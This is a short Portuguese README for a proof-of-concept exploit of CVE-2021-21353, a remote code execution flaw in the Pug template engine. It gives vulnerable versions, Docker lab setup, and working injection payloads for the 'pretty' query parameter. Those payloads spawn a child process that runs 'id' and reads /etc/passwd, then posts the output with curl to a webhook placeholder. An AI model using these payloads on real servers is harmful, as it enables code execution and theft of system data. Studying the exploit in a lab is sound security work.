POC do PUG-RCE (CVE-2021-21353)

Informação da vulnerabilidade

Número CVE: cve-2021-21353
Pontuação CVSS: 8.1

< Versões vulneráveis >
pug_version <= 3.0.0
2.0.3 < pug-code-gen version, 3.0.0<= pug-code-gen version < 3.0.2

git clone https://github.com/jinsu9758/PUG-RCE-CVE-2021-21353-POC.git
cd PUG-RCE-CVE-2021-21353-POC
sudo docker compose up

※ Acessível pela porta 3000

Teste de payload
?pretty=');console.log('executed');//

Payload final
?pretty=');process.mainModule.constructor._load('child_process').exec('curl -X POST -d \"$(id)\" <webhook_site>');_=('

?pretty=');process.mainModule.constructor._load('child_process').exec('curl -X POST -d \"$(cat /etc/passwd)\" <webhook_site>');_=('